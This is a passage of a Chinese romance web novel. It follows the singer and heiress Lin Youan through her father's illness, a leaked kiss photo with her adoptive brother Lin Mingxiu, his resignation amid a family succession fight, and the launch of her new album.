“好,”尹晴揉着太阳穴,问,“鸣修呢?走了吗?” “昨晚您睡着后他就走了,这些天媒体盯得紧,过两天再来看爸。”柚安为尹晴盛了碗粥,回到座位上,慢慢喝自己那碗。 手机震了震,她划开一看,是陈静淑发来的消息。这会儿,后者态度又软了,一番关心话后,七弯八拐地问她,两个哥哥的事,她知道多少。 昨天那些话,只是气头上,抓些捕风捉影的八卦,加工唬她的,没想到真把人套进去了。 柚安嗤笑了一声,不做理会,抬手熄了屏,继续喝粥。 尹晴暗暗揣摩着她的表情,却什么也读不出来,仿佛那张激情溢出屏幕的接吻照,是上世纪的事情。 林鹤堂在ICU住了三天,又转到隔离病房住了五天,各项指标基本正常后,转到了常规病房。 林鸣修这才带着几个公司的亲信来看望他。 至此,关于林鹤堂的病情,已经在外界狂风骤雨发酵了一遭,但是之前林鸣修代为掌舵,带着四海平稳运营了很长一段时间。 所以这一次,外界已经默认有他坐镇,四海寰宇不会再出大风大浪。 舆情也不像林鹤堂第一次病倒那样,引发轩然大波。 汇报完情况,林鹤堂欣慰点头。 柚安走过来帮几人倒茶,林鸣修接茶杯说“辛苦了”,柚安微笑说:“几位帮公司稳住形势,才是真的功臣,有你们在,我爸也能安心休息一阵了。” 谈笑间,林鸣修短暂地看了柚安几眼,每次都很快地收回视线。 尹晴向林鹤堂提议:“我查过瑞士那边的疗养环境,很适合你身体恢复,出院后,去那边住上一阵如何?” 柚安和林鸣修隔着好几个人,同步垂眸。 听出尹晴的苦心,柚安心想,也好。 若不是在生死边缘走过一遭,林鹤堂是绝对不会在这个时候离开四海的,但是现在,他也懂得了身体和家人才是最重要的。 “我没意见,辛苦你去安排了。”林鹤堂拍拍尹晴的手背,又看向林鸣修。 林鸣修立刻意会,“公司不用担心,有我在。林鹏海的集资公司,动态都在我们监控之内。” 林鹤堂笑了声,“现在是想担心都力不从心了。” 他又看看柚安,“你想来吗?” 柚安说:“我还有点事,等忙过这一阵子,就过来看你们。” 林鹤堂皱眉问:“什么事啊?” 林鸣修咳了声,找借口要走,现在的身份,已经不允许他听他们的家务事了。 几个亲信也站起身,跟随他一道离开。 门关上,柚安说:“我正在发歌,签了制作团队了。” 林鹤堂心里高兴,却只淡淡地说:“这次别有脾气一来就又不干了。”说罢又问:“需不需要帮忙打点关系?” “一切都安排好了,不用您操心,”柚安忍不住鼻子一皱,“爸,您可别死啊。”立刻吃了尹晴一记爆栗。 摸着额头讪讪走开,看着他俩商量去瑞士的事,她默默涌出一种想法:我的人生,才刚刚开始。 第45章 “第一次吗?” 去瑞士疗养的事宜很快被敲定, 居住地点选在洛迦诺的一处湖畔。这个城市空气湿润干净,被森林和湖泊包围,被誉为“呼吸系统疗养天堂” 。 一向有些优柔寡断的尹晴,这一次表现出了惊人的果敢和效率。 在正式出院的前几天, 夫妇二人就摆脱蹲守在院外的记者, 乘私人飞机离开了。 离开的那天, 只有柚安和林鸣修前来送行。 机场风声呼啸, 柚安几次帮尹晴裹好吹散的披肩。 私人医生与若干看护随行, 另外还带了一队保镖和随侍人员。 一行人浩浩荡荡夜行离开,来不及好好说再见, 尹晴塞给柚安一封信,叫她回家后再看。 飞机在视野中消失, 偌大的机场沉寂在深蓝色的夜幕之下,暗橙色的灯光星星点点, 稀疏洒落。 柚安这才转身面对林鸣修, 他们隔了八仗远, 这是很久以来的第一次对视, 仅是远远看着对方而已。 林鸣修是从会议上脱身赶来的, 穿着一套黑色的西服,外套一件黑色大衣, 工整笔挺, 风将大衣的衣摆和灰色羊绒围巾带向她的方向, 吹了很久很久。 柚安捋了把被吹乱的长发,最终没向他走近。 她转身去取车,他就提步跟在后面,步调一致,保持着刚才的距离, 视线始终落在她身上。只有风和淬蓝的夜色,为这出默剧润色。 他们分别坐上两辆轿车,一前一后地驶出机场,速度缓慢,最后在路口分道扬镳。 柚安回到夏山郡,展开尹晴给她的信。多是一些嘱咐的话,话的最后,还是落到她跟林鸣修的事。 “这些天忙得天昏地暗,没有找到机会跟你谈谈,关于你的感情问题,我一直有很多话想说想问,却又不知从何开口,居然就拖到了现在。 我做不到拆散你们,也没有办法跟你们一起对抗世界。所能做的,就只有将鹤堂带离风暴圈,给你们空间,去处理这一切。 这些天,我经常回忆起你们小时候。鸣修总是对男女关系表现得不感兴趣,一度,我还怀疑过他的取向问题,现在想来,一切都解释得通了。 静淑天天给我发信息,痛陈鸣修的罪状,有一点她倒是说对了。她说鸣修小时候就喜欢你了。是啊,我当时,可真眼拙! 他藏得这么深,一定是很爱很爱你了。 如果说担心,我只担心向来情绪化行事的你,会不会一时冲动,没想清楚就和他在一起,压力一来,又辜负了人家。 他自小是由着你欺负的。 真是欠了你的! 除此之外,还有什么问题呢?我暂时想不到了。 你们的关系,就连我这个最亲的亲人,都自认无权评判对错,遑论其他人? 其实,私心一点讲,就算你是一时冲动,亦或是最后,你们没能在一起,又有什么问题呢?爱情不就是这样? 那些关于你的风言风语,我从来没有当作一回事过。 我支持你。 不管你谈多少段恋爱,爱对爱错多少次,我都支持你。 ……” 柚安将这一段反反复复看了一夜. 四海这边,梁太真的开始举荐她进董事会。 作为林鹤堂的独女,本身股份就不少,又有梁太背书,非常顺利地通过了董事会投票。 大为光火的,只有林鹏海父子。 在林鹤堂住院的那段日子,他们就想方设法来探病,次次带着厚厚一沓股权变更相关的文件,希望林鹤堂早日明确四海的继承人。毕竟以现在林鸣修在四海的影响力,哪日林鹤堂突然归西,很大可能他将接手一切。 而他现在已经失去了义子身份,赏他一口饭吃都是顾在林家体面,家族产业怎么可能轮得到他?林鹏海和他的三个儿子,哪一个都比他更有资格。 可恨在层层守卫的安保之下,他们怎么都无法上到七楼来。 等到安保终于松懈,父子四人喜出望外地拿着文件奔赴七楼病房时,才得知林鹤堂夫妇已经出国疗养,去向不得而知。 林鹏海气得咬牙切齿,让陈静淑暗示柚安不要进四海搞事情,否则就将她和林鸣修的关系爆出来,到时候碍于避嫌原则,她非但无法在董事会议上为林鸣修投票,还有可能和林鸣修一起被赶走,那场面可不好看。 柚安最恨被威胁,又长了一张淬了毒的嘴,差点将陈静淑呛哭。 她进董事会并不是为了和林鸣修坐一条船,跟他一点关系都没有,只是觉得作为林鹤堂的独女,在父亲病危的情况下,有责任站在那个位置。至少,她要清楚知道,公司正在经历什么,哪些是人,哪些是鬼。 顺带给林鹏海父子找找不自在。 她的心思更多还是用在出歌上。 进入董事会的同时,EP顺利也发行了。 重回公众视野,公司的宣传策略非常低调,因为怕她身上带着的话题,又被拿来大做文章,盖过了歌曲本身的讨论度。 虽然没有一下子火到街知巷闻,但她的新歌,却在小范围内,赢得了不错的口碑。 不久,线上线下的演出打歌,将行程塞得满满当当。站在台上,轻而易举就能找到当初的感觉,舞台感甚至更加游刃有余,哪怕台下的观众远不如当年火爆内娱时那么多,她依旧享受。 每每工作完毕,摆脱重重狗仔回到家,心里都会升起一种既危险又荒谬的期待,她习惯性地先去林鸣修的书房,说不定他会出现在那里。 不出意外地,期待每次都落空。 他是何其克制的人,知道什么时候出现,什么时候消失,对她最好。 就连为数不多的几次董事会议,他都有意避嫌,不出现在公司。 他们信息联系,互道晚安、早安,几张生活碎片的照片,就连文字都发得很克制。 林栖打电话来恭喜她,她的新歌在内地火起来了。 柚安却跟好友说:“我的心好像分成了两半,一半自由而富足,另一半却空空荡荡的。” 林栖听得一头雾水。 柚安问她:“如果哪天刷到我和鸣修的恋情,你会不会惊讶?” “当然不会,我都亲眼看过了!”那头顿了顿,说,“不过,你们的关系有点敏感,营销号最爱往辛辣了写,都是勾起热度的手段。可能,是会有些不好的声音,但是柚安,你从来不在乎这些的,从认识你起,你就是敢爱敢恨的。” “敢爱敢恨的结果,你也看到了,不怎么好。而且我爸他……” 林鹤堂的病情不算是小新闻了,那头一阵沉默。 “怕被拍到,我们已经好久没见面了,我连对自己都不敢承认,我很想他。我妈说,我最爱情绪用事,会不会冲动过后,就真的这样淡去了?” 那头笑起来,“这就是一段感情必须要经历的阶段啊。” “什么?” “时间啊。怀着诚惶诚恐的心情,脑子里装着一百个不确定,必须要度过的一段时间。什么也做不了,因为答案在时间的另一头。” 柚安想了想,也笑起来。 两人互相揶揄了几句,挂断电话,已经是凌晨一点,划到消息栏,里面躺着林鸣修一小时前发来的“晚安”。 她回过去,说“很想你”。 第二天一早,柚安受梁太所托,送她一双儿女去机场,梁嘉仪和梁嘉栋要回伯克利念书了。 将两人送进候机厅后,一抬头看见某奢侈品牌的大幅广告,上面赫然出现庄艾米的身影。 再看歪在真皮沙发上的梁嘉仪兄妹,柚安不仅感叹,有的人籍籍无名多年,一阵东风就能起来,有的人一手好牌,怎么喂都是白搭,太扯淡了。 离开候机大厅,去搭乘电梯的路上,三个女生互相推拉着上前问她:“你是林柚安吗?” 柚安微笑点头。 女生们差点尖叫起来,激动地说:“我可喜欢你了!你的新歌超好听的!” 柚安说“谢谢”,已经很久没有在街上被认出来了,一时有些不适应。 对方又拿出手机求合影,柚安耐心地配合。这一闹,又有许多人认出她来,拍完合照抬头一看,发现自己已经被重重包围,求合影的求合影,要签名的要签名。 柚安连个墨镜都没有带出来,被围在人群中,渐渐感到喘不过气来。 还好没多久,一个类似安保模样的人大步走了过来,攘开人群。 柚安一开始以为是机场安保,待看清挡在身前的那具高大背影,她猛地一怔。 “保镖来啦……”群众被其气势吓退,仍不肯走远,亦步亦趋地跟着。不乏有人探头探脑,想看看这个气质拔擢的保镖长什么样,却只看到一双冰凉如刀锋一般的眼睛。 穿黑西服,戴黑色口罩的“保镖”一手拨开人群,一手捉着柚安的手腕,长腿开辟出一条道路,很快将她带入电梯。 他自带一股威慑力,一句话不说,却没有一个人敢跟进电梯。 电梯门关闭,顷刻隔绝了喧嚣,柚安惊讶开口:“你怎么来啦!” 林鸣修站得笔直,垂下的手碰了碰她的手,口罩上方一双温柔的眼睛,“不是说想我吗?” 柚安低头一笑,伸手勾了勾他小指。 “大明星,该请个助理团队了。” “先雇你当保镖啊。” “我很贵的,你雇不起。”林鸣修嘴角扬了扬。 柚安打了他手背一下。 电梯下到负一层,外面有人,林鸣修不动声色地往前站了一步,柚安被他遮在身后,视线中,只有他宽如山脊的肩背。 负二层,门开了,所有人下电梯,寻向自己的车。 林鸣修远远走在柚安身侧,维持着陌生人的距离。 柚安给车解锁时,身后忽然“嗖”的一声,没来得及反应,身体先被林鸣修拉了一下,她栽进对方怀里,脸被他的手护住,一罐汽水穿过她偏离的位置,将前方的后视镜砸地耷拉下来。 铝罐落地,罐身被砸瘪了,汽水从破口喷溅而出,发出刺耳的“嘶嘶”声。 柚安被吓得无从思考,耳边是那几个恶作剧青年的嬉笑声: “乱搵食!抵嘅啦!” 被林鸣修护着,送入他的座驾,眼前晃过他们鲜艳的发色残影。 黑色路虎油门轰鸣,划出一道弧线,逼得那些人连连后退,烟尘四起中,尾部一摆,扬长驶离。 车辆平稳地汇入车流,柚安依旧惊魂未定,一路抱着抱枕不说话。林鸣修伸臂摸了摸她发顶,“别生气啦,爱你的人始终更多。” 柚安木然点了点头。空空荡荡的那一半心脏忽然疯狂作动。 “去哪?”林鸣修问。 柚安沉默了许久,忽然说:“去你家吧,不是说要带我去看看的吗?” 林鸣修没有接话,转头看了她一眼,后者只是盯着前方,好像下定了某种决心。 又是一阵沉默,林鸣修说:“我家没装修好,乱七八糟的落不了脚。” 之后他们谁都没说话。 车辆驶出机场高速,漫无目的地开在沿海公路上,鲸落弯,椰林大道,纵横交织的椰树叶遮住太阳,林荫斑驳,海风将浪往岩石上掀,海浪撞击石壁,白色泡沫翻滚。 “停车。”柚安轻轻吐出两个字。 林鸣修没说什么,缓缓将车刹停在路旁。 柚安解开安全带,勾住他脖子吻了上去。 或许是刚确定关系,就兜头而来几桩变故,弄得她招架无力,焦头烂额,以至于她不再相信,还有什么能抓得住。等时间过去?也许时间过去之后,连吻他的冲动也没有了。 又或许,热望已经被从前那场没有结果的单恋消耗殆尽,如今再也不敢奋不顾身去爱一个人,所以才畏头畏尾。 柚安想不明白,唯一确定的是,她后悔在这些破事发生之前,没有好好跟他做一次。 令人瞻前顾后的压力之中,这个念头叛逆疯长。 骨头下,窜动着一把枯寂的火苗,林鸣修一下子将它勾起来,这是她现在唯一能抓得住的东西。 所以她吻得用尽全身力气,对手一瞬间无措,继而张嘴回应,更加认真、用力,甚至纵情粗暴地回应,让她知道,他也有一样的想法,并且压抑得非常辛苦。 但是蓦地,他还是退开了,他将她的脑袋抵在自己肩膀上,颈侧的青筋在跳。 喘平气息之后,柚安恼火地看着他,因为一向纵容她的林鸣修,明显感知到她的“计划”,却还是按住了她。 林鸣修低头看着她,手掌在她后脑。 嘴唇沾了她的唇膏,呈现不均匀的深红,眼里满溢怜惜。 “第一次吗?”他问。 柚安快被惹哭了,脸涨红,气得想拧他。 “再给我些时间吧,”他说,“我舍不得在现在。” 第46章 他的人生度过了惊蛰…… 保姆车停在演播大楼的停车场, 柚安在工作人员的重重保护之下,下车步入入场通道。 如今她已经有了随行团队,鉴于那次机场的事故,公司对她人身安全尤其重视, 走到哪里都有保镖贴身保护。受人簇拥的另一面, 是私人空间无限被剥削, 这代价, 暂时还能承受。 入口处等候着一堆歌迷, 她们拿着应援牌,在各家歌迷之间艰难地坚守阵地。 柚安脚步不停, 一面打招呼收信,最后一鞠躬, 隐入门后。 节目组工作人员递来台本,她边看边让助理给歌迷买饮料送过去, 嘱咐助理买减糖、不加植脂末的, 顺便劝歌迷演出完不要等她。 这是一档小型晚会, 有十多名歌星助阵, 柚安的出场在后半段。 来之前就做好了妆造, 服装师原先准备了一件红色闪钻,胸前金线秀一双翅膀的高定短裙, 象征不畏谣言, 浴火重生, 柚安摆手拒绝,换成一件白色单肩连衣裙,乌黑长发,肩颈线条流畅舒展,宛如精心雕琢的玉石。 已经演出完的黎燃来串门, 谈起合作出歌的事。 同一家唱片公司,又是外形歌路都很搭的歌手,公司提议他们出一首情歌合唱,黎燃欣然同意,连小样都做好了,特意拿给柚安听。 柚安将耳机推回去,“不想和你唱,怪怪的。” 黎燃笑说:“怎么,怕动感情啊?” “你这么火,怕被说蹭你人气,怕被拿来炒CP,捆绑销售,后续无穷无尽的营业。” 黎燃蹙眉,“什么时候变这么怂了?我认识的林柚安,只管歌好不好听。” 柚安愣了愣,“那,我回头听听……” 黎燃已经换了演出服,穿着私服,夹克令柚安眼熟,看一眼logo,正是庄艾米做模特的那个品牌,柚安心生好奇,话锋一转问他:“夹克是品牌方送的吗?” 黎燃低头看了看,“自己的。” 柚安小声问:“你和庄艾米联系上了吗?心结解了没有?” 黎燃扮作不悦,左右看了看,“你知道我不想提这事的。” “抱歉抱歉。” 黎燃狡黠一笑,“问也行,回答我一个问题作为交换。” “你想知道什么?” 黎燃倾身靠近,神神秘秘的样子,柚安也凑近了些,只听黎燃问她:“我还有机会吗?” 柚安往后一仰,大笑。 工作人员敲门,通知柚安就位,在黎燃怨念的目光中,后者提着裙摆一溜烟跑了。 唱的是新歌,舞美简单干净,只有一束追光打下来,她嗓音一出,场子就活起来,暧昧的化学反应在空气中发酵、流淌,如同冰镇气泡水漫过青柠果肉,台下听得如痴如醉。 唱到尾声的时候,观众席忽然骚动起来。柚安有些诧异,还是若无其事地收了尾。 上场的主持人面色怪异,本该有的观众互动环节被跳过了,两句话将她请了下去。 一路工作人员纷纷侧目,护送她回休息间的助理悄悄在她耳边说:“柚安姐,不好了。” “怎么了?”柚安涌起一道不好的预感。 人到了休息间,没等助理说明,黎燃火急火燎地将手机横在柚安面前,排名第一的热搜词条之下,赫然就是她和林鸣修的接吻照片。 “这不是……”黎燃凑到她耳边气声问,“鸣修哥吗?” 柚安眨了两下眼睛,不知该回答什么。 助理哭丧着脸过来说:“外面有很多媒体,问您是否有空,做个简短的采访。” 柚安:“……” “采个屁,”黎燃一把抓住柚安手臂,“坐我车走。” 说完拉着她冲出门外,从安全通道一路小跑出摄制大楼。 “你车就是这个啊!”柚安看着面前的机车,哭笑不得。 “这个才甩得掉人!”黎燃丢给她头盔,脱下身上的夹克披在她肩上,在夜色掩护下,飞快地逃离一众长枪短炮。 路过柚安的酒吧时,好几辆熟悉的狗仔车正停在门口,两人改道,去了黎燃在工业园的livehouse。 工业园深夜无人,两人蹲在仓房前的路牙子上,黎燃平复了心跳,问她:“是鸣修哥吧?” “让我死个明白。” 柚安收起玩世不恭,认真说“是”。 黎燃双手往后一撑,坐到地上,无声地耸肩笑了笑,默了一会儿,问她:“要给鸣修哥打个电话吗?让他过来。” “不要。” 刚接到消息,林鹏海又发起了不信任投票,这次的由头倒是和照片无关,矛头全在林鸣修和林鹤堂的关系上。他说林鹤堂忽然病重,如今又不知所踪,很有可能被藏在哪个看护病房,没有行事能力,或者尚在昏迷。 这种情况下,应该由他,或者柚安出面代理林鹤堂留下的一切,而不是由林鸣修占着这个位子,如果林鹤堂一直不醒,亦或是驾鹤归西,这个外人岂不是要顺理成章上任主席,继承一切? 他还抛出一种阴谋论,说林鹤堂夫妇其实是被林鸣修切断了与外界的联系,限制了自由,否则怎么解释,在养和医院期间,除尹晴母女外,只有林鸣修能够带人出入七层? 这种阴谋论,成为新的舆论焦点,瘟疫一样扩散。 连同那张照片,让林家一夜之间同时登顶商圈和娱乐圈的热点,不乏有心思活泛网友指出来,照片的男主角会不会就是林鸣修! 但照片太模糊了,男人又是背对镜头,这种言论显得有些刻意博眼球。 很显然是林鹏海在背后引导舆论,他会不会让男主角是林鸣修的猜测发酵,手中还有没有别的照片,柚安不得而知。就是这种似是而非的联想,陷在公众五花八门的断案视角之中,一点点被发掘罪证的过程,才让当事人更加受折磨。 “真的不打个电话吗?”黎燃也看到新闻了。 “他现在,应该更加焦头烂额。”柚安坐下来,伸展蹲麻的小腿,轻轻捶着,“这点事,我能够自己处理的。” 黎燃瞥她一眼,“我都比你紧张。” “刚才是谁说我怂的?”柚安拿胳膊肘撞撞他,“不过还是谢谢你英雄救美。” “哎哟,还美呢!” 梁太给柚安发了条信息:“林鹏海在遗产之争上,把你放在林鸣修的对立面,和他绑在一块儿了,不管你老爹现在什么情况,你千万别发声,他就是想拉你下水。” “知道了,谢谢您。”柚安回过信息,请黎燃送她回夏山郡。 黎燃送柚安回了夏山郡。 回程的二十分钟内,事态有了新的发展—— 林鸣修没有解释,也没有等董事会投票,当即辞职,并且极快地和林景琛作了交接,新任代理CEO的官方声明,明早就会公布。 他果决地将战局画上句点,战火止熄在对照片男主人公的种种猜测上。 柚安一手拿着手机看消息,另一只手扭向后背,剥下烦人的白裙,换上睡衣,光脚在楼顶花园走几一圈,最后半躺在花园的秋千上,风很大,荡得人心烦意乱。 凌晨两点,终于忍不住,给林鸣修拨去电话。 她知道他一定还没睡。 “你在干嘛?” “我在卷铺盖。” 林鸣修在新家收拾行李,除夕夜回港之前,家里就装修好了,三层的小楼,处处是米色和橙色的温暖色调。 他不知道怎么迎合一个女生的审美,只能将自己惯常使用的黑白灰大面积抹除,然后笨拙地在每一个角落布置上鲜花,装置画,和毛茸茸的东西。 就连床品都是马卡龙色调。 他住在里面,有点像黑魔王侵占了小动物的童话王国,连睡觉都有点不好意思。 回港之前,Kim帮他布置了新年装饰,以作乔迁之喜。 纳福迎春的大红窗花贴得满处都是,桃树是不可少的,上面挂满红底金字的签贴和福袋,主卧的门上还倒贴了一个“囍”字。 林鸣修好几次想把那个“囍”字撕下来,却次次都不忍心,一直留到现在。 不怕死的助理开年一复工就被派去工地搬砖了,那些鬼迷日眼的装饰却完好地保留到了现在。 林鸣修小心地避过碍事的桃枝,将冲锋衣装进行李箱,又去检查护照跟机票,在电话里问柚安:“帮我养一下猫好不好?” 柚安心口涌起一丝恐慌,口吻却轻松,“丧家之犬,准备逃到哪里去啊?” “丧家之犬出去躲躲风头。” 某种渐渐扩大的委屈抑制不住,柚安艰涩地问:“不是说一直在我身边的吗?” 林鸣修低声说:“给我点时间……你想我,我就回来。” 柚安吸了吸鼻子,问:“多久?” “现在还不好说。” “……好啊,那我们约定,一年不要联系。没有你我不会死的。” “当然。”林鸣修立在桌前,十指关结攥地通红。 “你,说真的?” 那头笑了笑。 柚安气道:“我不会给你打电话的。” “只要你忍得住。” “我可能会爱上别人。” “我哪里管得住你?” 林鸣修活音刚落,耳边就传来支离破碎的杂音,他猜想手机被扔进水榭了。 想进屋继续收拾行李,却迈不动步。 一年对他来讲实在不算长,他蛰伏过很多个一年了,也独自捱过她爱着别人的漫长岁月。可是现在不同了,他的人生度过了惊蛰,冰雪消融,鲜活热烈,每一秒都渴望着流向所爱之人. 隔天,柚安在经纪人的陪同下,召开了一场记者会。 面前的桌上摆堆满麦克风,台下一整排闪光灯对着,闪光灯的背后坐满了观众,可能是记者,可能是混进来的狗仔,或是粉丝,谁知道呢,柚安混不吝地跟经纪人讲:“这帮人是等着问哭我吗?” “你还有那本事?”经纪人表现得很惊喜,“哭一哭效果更好。” 这是一位从业多年的单身事业女性,接洽时达成一致,不干涉艺人的私生活,只拿作品说话。 她悄悄对柚安说:“谈个恋爱都要骂你的人,是恨呐,恨得不到你。” 柚安终于被逗地笑出来。 忽然她看到最后一排的角落,竟坐着林鸣修。 黑西裤,黑衬衫,戴一副框架眼镜,黑口罩,袖管挽到小臂,两手手指交叠搁在膝上,低调矜贵。画风好像另一个世界,屏蔽了所有人,只能被她看见。 “请问柚安现在是在恋爱中吗?” 记者丢出第一个问题,咔嚓声一片,闪光灯开始工作,那道身影隐入黑暗。 柚安直起背,冷淡地看着提问的人,看到他不自在而目光躲闪。 “没有。”她面无表情地说。 底下哗然,她努力地看向林鸣修所在的位置,似乎看见他眼睛在笑,微微点头。 “真的没有吗?” “那照片怎么解释?” “是你吗?还是AI合成的?” “坊间一直在传,说你的父亲是四海寰宇主席林鹤堂,这是真的吗?” “照片中的男士,听说是你父亲收的义子,也就是你的哥哥,他今早刚从四海辞去一切职务,是这样吗?是因为这张照片吗?你们的关系是怎样的?” …… 所有的问题,柚安全部都否认了,公关提前准备的发言稿,被她揉成浆糊,扔在一边。 媒体没有问出一个结果,林鹏海拿到了他想要的,也没有再抛出新的照片,找她麻烦,发布会在一片失望声中结束。 回去的路上,柚安正坐在保姆车上发呆,经纪人拍着大腿夸她:“真是深藏不露啊,这也能叫你出圈,高招!” 柚安回过神来问她怎么了。 原来是发布会的一张图上了热搜,她坐在长桌的正中,目光空濛地望向某处。 闪光灯太多,照片有点过曝,衬得她一张巴掌大的脸蛋惨白,眼睛晶莹剔透,令人想到猎枪之下,吓得原地僵住的小鹿或是兔子。细看,又含着更复杂的,隐而未发的情绪。脸上一道泪痕,像雪落在宣纸上晕开的痕。 “氛围感的神呐!这谁看了不说你被无良媒体逼惨了?”经纪人赶紧联系公关发文。 “我哭过吗?”柚安茫然地摸了摸自己的脸。 助理猛点头,“您当时在看哪儿啊?顶着闪光灯,能看到什么啊?” 能看得见,看得见他穿着黑衬衣,戴着黑色口罩,朝她点了点头,看见他站起来,越过一排观众,悄然走出会场,不知道去了哪里—— 就是在看这么一个讨厌的人而已。 第47章 火簇慢慢走到食指,他没…… 保姆车将团队送回公司, 确认接下来几天暂无行程,柚安便独自开车回家。 公路两旁是绵延不尽的红棉树,红棉树褪去冬日的枯枝,顶端突然冒出碗口大的橙红色花苞, 仿如舞动的火焰。 三月了, 柚安默念。 父母走后, 偌大的房子显得十分空寂, 仿佛按下了静音键。 佣人们正手持刮水器忙碌着, 回南天的余威还没有过去,地面像浴室的镜子一样, 挂着一层水气,夏山郡像一个正在融化的梦境, 朦朦胧胧睡在半山的绿林里。 柚安关了乐器室的门,找了把趁手的吉他, 开始试新歌的旋律。 新专辑打算作七首歌, 如今已经准备过半。 窗外无由落起小雨, 才弹两句的功夫, 世界就变成了深灰色, 雨水沿着窗沿淌下来,视野糊成一片。 “喵——” 细小的一声叫唤, 柚安吓了一跳。 回过神来, 就看到林鸣修的布偶猫从架子鼓后面“滚”了出来, 肚子一颠一颠地“滚”到她面前,讨食般地看着她。 “饿了?”柚安挠它的下巴,“现在知道粘我了?” 布偶猫前蹄搭在她腿上,伸着脖子蹭她的臂弯。 柚安让它蹭了一会儿,经不住它一声一声地叫唤, 将它后颈一提,抱进怀里。 一团沉甸甸,软绵绵的大白棉花糖。 “走吧,带你去吃东西。” 下得楼去,装作若无其事地问管家,林鸣修来过吗? 管家说没有,是他的助理将猫送过来的,连带它用惯的生活用品和猫粮。 已经为小猫在一楼光线最好的地方辟出一块领土,摆上猫窝和猫架了,但它似乎并不喜欢,巡视一圈后,便头也不回地楼上走。 负责照顾猫的佣人打趣说,这猫高傲得很,不愧是少爷养出来的。 立马被管家眼神打断,诚惶诚恐地将“少爷”改做“顾少爷”,低头领罚。 柚安装作没听见,想了会儿,命人将猫窝移到林鸣修的卧室。 布偶猫在房里巡视一番,最后跳上床,摆了个不设防的姿势,露着肚皮呼呼大睡起来。 深棕色的床品中间陷着一只纯白的棉花糖,看起来很有安全感的样子。 “你就住这儿吧,没事就抓他的床单,尿他的床,把他床腿咬烂……谁叫他丢下你呢?” 柚安摸了摸它的脑袋,小猫闭着眼睛“喵”了一声,表示赞同。 四月,柚安去Echoes&Elixirs巡店。 签了唱片公司之后,她很少有时间去店里,一部分事情交给阿谨,后者每周汇报,大方向还是由她把控。 酒吧的生意随着她的名气渐火爆,她有了更大的舞台,便将表演的机会交给那些有才华,但不被看到的歌手。口碑打出去了,时不时就会有唱片经纪人和制作人去店里挖掘黑马。 今晚是摇滚之夜,台上响着爆裂的鼓点、贝斯,台下疯狂举手呐喊,柚安从热闹中抽身,只身来到后巷。 点了一支烟夹在手里,退后一步走进路灯之后的阴影里,脑海中开始重演开业那天,在这里的鸡飞狗跳,想象着某人会不会突然出现。 火簇慢慢走到食指,他没有出现。 “算了。”柚安丢掉烟,大步走向自己的车,开车去录音棚工作。 她知道的,就连电话也不用打,发一句“想你”,他就会出现的—— 或许吧。 但就是犟着一股气,不去联系。 这气不是对林鸣修生的,而是对他们的关系,所遭受到的审视和非议。 都盯着想看她家的丑事,那她就非要顶着这口气,等到天光大白,可以无所顾忌的那一天,在白日之下光明正大地拥吻。 五月,四海的董事会开始怨声载道。 管理权交接之后,林景琛管理权在握,却什么都推进不了。 如今,四海的发展开始渐渐陷入焦油坑。 林鸣修的那一派亲信在他走后不久,就纷纷递上辞呈。这些人在天下太平的时候,不动声色地蛰伏于各个部门,天下大乱时,齐刷刷自动消失,虽然人数不多,但几乎全是中坚力量。 林景琛起初不认为几个人的离职,能撼动公司什么,哪怕其中不乏高管。人走之后,肱骨之缺的隐痛才慢慢表现出来。 之前林鸣修主导的一系列项目,譬如收购搞旅游的乘风集团之后,扩展出的文旅生态,全部僵死在半路上。合作方像是商量好了一样,全是一个德行,嘴上说林鸣修德不配位,走得应该,行动上就是不配合新人。 梁太告诉柚安,说林鹏海前段时间找她,求她帮忙跟王德发约个饭局,在局上帮他说说好话。 柚安很诧异,她还记得那个王总的嘴脸。 不是跟林鹏海一起,在产业园区的项目上刁难过林鸣修吗? 梁太说,即便是那样整过林鸣修的人,在项目签下来之后,还是只肯让他来主持大局,换了谁都不乖。当初刁难林鸣修的招数,如今几倍地用来刁难林景琛。 “问题是人家林鸣修,什么损招过来,他都招架地住,反过来将对方制得服服的。林景琛和他几个兄弟呢,不管怎么俯首帖耳地伺候,都得不到王总的心呐。这才让林鹏海出面,找到我这里来。” “王德发是坏,但又不傻,难道是被服侍地好才签的吗?亲手过的项目,当然是看出来对方有能力把控,才放行的,”梁太慢条斯理地抿了口茶,问柚安,“你说,我牵是不牵线呐?嗨,牵了也没用,林鸣修亲自出面还差不多,你说是不是?” 柚安笑说:“牵不牵您心里肯定有数,别来试我了。” 梁太瞧着她,“你真的不知道林鸣修在哪?” “真的不知道,”柚安说,“我就别试探我了,您对我这么好,有什么事直接问,我绝不骗您。我要是像董事会那些老狐狸一样藏着掖着,您哪里会看得上我?” 梁太大笑,“你等吧,过不了多久,他们就自己找上门,求林鸣修回来救场了。” 柚安却摇头,“好不容易得来的东西,哪有送回去的道理?” 六月,柚安去渔家那里,死缠烂打学会了做蒸鱼。 然后连吃了一个月。 布偶猫被养刁了嘴,一吃饭就蹲在她脚边,等着吃第一手的鱼骨,喂它猫粮,她则会哼一声走开。 六月的最后一天,她终于把自己吃吐了。这次她察觉到是在自虐,立刻勒令自己戒掉。 她去医院开药,分装在药盒里,随身携带。设下闹钟,定时用温水吞服,严尊医嘱,养好自己胃后,开始学习各种健康食物的烹饪方法。 七月,柚安发行了新专辑,七首歌全部自己作词作曲。 发布的前一天,从早到晚连轴转—— 上午在录音棚帮一部电影录主题曲,下午飞去电视台录综艺,晚上又赶去电台做直播。 第二天晚上七点,顶着散粉都遮不住的黑眼圈,出席专辑发布会。 又有人将她的陈年旧事拿出来说,问她当年在酒店里,究竟是怎么一回事,那些关于她私生活的传言是不是真的。 她听笑了,仿佛那是上辈子的事,一个遥远的故事,穿过一整个世纪被人搬运回来,变成白纸上的灰尘,不值得人看一眼。 “观众要相信什么,就去相信。”她再也不作解释。 会场上方忽然播放起她新专辑里的歌,打断了提问,所有人都很意外。 记者问:“这也是发布会的一部分吗?” 宣发团队也一头雾水。 接着,人们发现,港城所有的超商便利店—— 尖沙咀海港城、铜锣湾时代广场、中环IFC、百佳、惠康、711、丰泽、百老汇……所有会公放音乐的地方,全都整齐划一地放起她的新歌。 她的歌声随港铁、旅游专线环绕全城,随天星小轮漂过维多利亚港,在迪士尼的城堡、在海洋公园的摩天轮,在任何一处沙滩、港湾响起。 经纪人喜疯了,“这谁这么大手笔,包下全城给你做宣传?” 柚安回以诧异,“你也不知道?” “当然咯,公司怎么有这本事?”经纪人看着台下一头雾水,不知该继续提问,还是该冲出去记录这旷世奇观的记者,一拍桌面,“这发布会还有开的必要吗?走走走,我们开车去路上招摇去!” 